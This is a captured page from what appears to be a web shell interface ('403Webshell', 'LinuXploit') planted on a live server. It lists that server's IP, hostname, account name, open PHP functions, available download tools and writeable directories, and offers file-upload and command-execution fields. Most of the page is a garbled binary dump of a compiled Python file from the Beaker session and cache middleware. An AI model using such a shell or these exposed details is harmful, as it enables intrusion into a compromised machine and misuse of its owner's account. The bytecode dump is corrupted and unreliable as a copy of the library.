403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.148.200.145
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/beaker/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/beaker/__pycache__/middleware.cpython-37.pyc
B

iA�\R�@s�ddlZy$ddlmZedd�Zedd�ZWndZdZYnXddlmZddlmZm	Z	ddl
mZmZm
Z
Gd	d
�d
e�ZGdd�de�Zd
d�Zdd�ZdS)�N)�StackedObjectProxyzBeaker Session)�namez
Cache Manager)�CacheManager)�Session�
SessionObject)�coerce_cache_params�coerce_session_params�parse_cache_config_optionsc@s"eZdZeZddd�Zdd�ZdS)�CacheMiddlewareN�beaker.cachecKsl||_|pi}i|_|j�t|��|j�t|dd��|jsH|rH||_|j�|�tf|j�|_||_dS)a�Initialize the Cache Middleware

        The Cache middleware will make a CacheManager instance available
        every request under the ``environ['beaker.cache']`` key by
        default. The location in environ can be changed by setting
        ``environ_key``.

        ``config``
            dict  All settings should be prefixed by 'cache.'. This
            method of passing variables is intended for Paste and other
            setups that accumulate multiple component settings in a
            single dictionary. If config contains *no cache. prefixed
            args*, then *all* of the config options will be used to
            intialize the Cache objects.

        ``environ_key``
            Location where the Cache instance will keyed in the WSGI
            environ

        ``**kwargs``
            All keyword arguments are assumed to be cache settings and
            will override any settings found in ``config``

        F)Zinclude_defaultsN)�app�options�updater	r�
cache_manager�environ_key)�selfr�configr�kwargs�r�B/opt/alt/python37/lib/python3.7/site-packages/beaker/middleware.py�__init__s
zCacheMiddleware.__init__cCs@|�d�r(|djr(|d�|j|j�|j||j<|�||�S)Nzpaste.registry)�get�reglist�register�cacherrr)r�environ�start_responserrr�__call__Cs

zCacheMiddleware.__call__)Nr)�__name__�
__module__�__qualname__�beaker_cacherrrrrrrr
s
/r
c@s*eZdZeZd	dd�Zdd�Zdd�ZdS)
�SessionMiddlewareN�beaker.sessionc
Ks�|pi}tddddddddd�|_x�||gD]|}xv|��D]j\}}|�d�r^||j|dd�<|�d�rz||j|dd�<|�d	�r:t�d
td�||j|dd�<q:Wq,Wt|j�|js�|r�||_|j�|�||_	|_
||_dS)a�Initialize the Session Middleware

        The Session middleware will make a lazy session instance
        available every request under the ``environ['beaker.session']``
        key by default. The location in environ can be changed by
        setting ``environ_key``.

        ``config``
            dict  All settings should be prefixed by 'session.'. This
            method of passing variables is intended for Paste and other
            setups that accumulate multiple component settings in a
            single dictionary. If config contains *no session. prefixed
            args*, then *all* of the config options will be used to
            intialize the Session objects.

        ``environ_key``
            Location where the Session instance will keyed in the WSGI
            environ

        ``**kwargs``
            All keyword arguments are assumed to be session settings and
            will override any settings found in ``config``

        TNzbeaker.session.id)Zinvalidate_corrupt�typeZdata_dir�key�timeoutZsave_accessed_timeZsecretZlog_filezbeaker.session.�zsession.�Zsession_z?Session options should start with session. instead of session_.�)�dictr
�items�
startswith�warnings�warn�DeprecationWarningrr�wrap_apprr)rr0rrr�dctr%�valrrrrOs*





zSessionMiddleware.__init__cs�t|f|j��|�d�r4|djr4|d�|j���||j<|j|d<d|krld|jkrl�|d|jd<d��fdd�	}|�||�S)Nzpaste.registryzbeaker.get_sessionzpaste.testing_variablesZwebtest_varnamecsJ���r>����jddr>�jdd}|r>|�d|f��|||�S)N�_headersZ
set_cookieZ
cookie_outz
Set-cookie)ZaccessedZpersist�__dict__�append)�status�headers�exc_infoZcookie)�sessionrrr�session_start_response�sz:SessionMiddleware.__call__.<locals>.session_start_response)N)	rr
rrrr9r�_get_sessionr0)rrrr:r)r9rrr�s



zSessionMiddleware.__call__cCstifddi|j��S)NZuse_cookiesF)rr
)rrrrr;�szSessionMiddleware._get_session)Nr#)rrr �beaker_sessionr9rrr;rrrrr"Ls
:r"cs��fdd�}|S)Ncst|�f��S)N)r")r)�global_confrrr�filter�sz&session_filter_factory.<locals>.filterr)r=rr>r)r=rr�session_filter_factory�sr?cKst||f|�S)N)r")rr=rrrr�session_filter_app_factory�sr@)r-Zpaste.registryrr<r!Zbeaker.cacherZbeaker.sessionrrZbeaker.utilrrr	�objectr
r"r?r@rrrr�<module>s

;V

Youez - 2016 - github.com/yon3zu
LinuXploit